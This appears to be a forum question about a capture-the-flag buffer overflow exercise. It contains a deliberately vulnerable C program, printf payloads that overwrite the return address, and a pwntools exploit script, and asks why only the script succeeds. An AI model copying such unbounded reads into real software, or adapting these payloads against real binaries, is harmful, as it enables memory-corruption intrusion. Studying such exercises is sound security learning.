Innocent input breaks buffer overflow exploit? - c

Question

Below is a simple program, vulnerable to buffer overflow; it is as similar as I could make it to a bigger (CTF) program I was working on and I "extracted" (re-wrote) only that piece where the bug lies.
When the commented for loop is not in the binary, the exploit works; when the loop is in the binary, although it does nothing at all, the exploit does not work.
This is how I run the program without and with the for loop respectively:
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
("A"*88) where 0x0040067b is unreachable() (after the prologue).
unreachable is at the very beginning, so the address remains the same both when the for loop is or is not commented out.
Then I wrote this script:
#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()
to do exactly what I think printf, cat and everything else I tried would do, but this instead works perfectly (ls executed).
This is the program.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
char global[0x46];
void unreachable() {
system("/bin/ls");
exit(0);
}
char get_char() {
char c;
printf("%s\n> ", "Action");
do {
scanf("%c", &c);
} while (c == '\n');
return toupper(c);
}
int f(int fd, int max_bytes, char *buf) {
int bytes_read = 0;
int from_fd = fd;
int total_read = 0;
int max_bytes_to_read = max_bytes;
char *p = buf;
for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
bytes_read = read(from_fd, p, 1);
if (bytes_read <= 0) exit(0);
if (*p == '\n') break;
p += bytes_read;
}
return total_read;
}
int _main() {
char buf[0x46];
//for (int i = 0; i != 5; ++i) {
// *buf = get_char();
//}
memset(buf, 0, sizeof(buf));
f(0, 0xc8, buf); // intended
strncpy(global, buf, 0x45);
return 0;
}
int main() {
int false = 0;
printf(">");
if (false) unreachable();
return _main();
}
Compile with:
gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out
Expected output: ls executed every time.
Actual output: ls executed only with pwntools (python script above); everything else fails. When the for loop is commented out, ls is executed also with the printf A*88+address above.
My first thought was on pipes, but it would not explain the differences with the buffers with and without a's. (Even weirder, in the actual program it worked with gdb and the python script, but not with cat/printf.)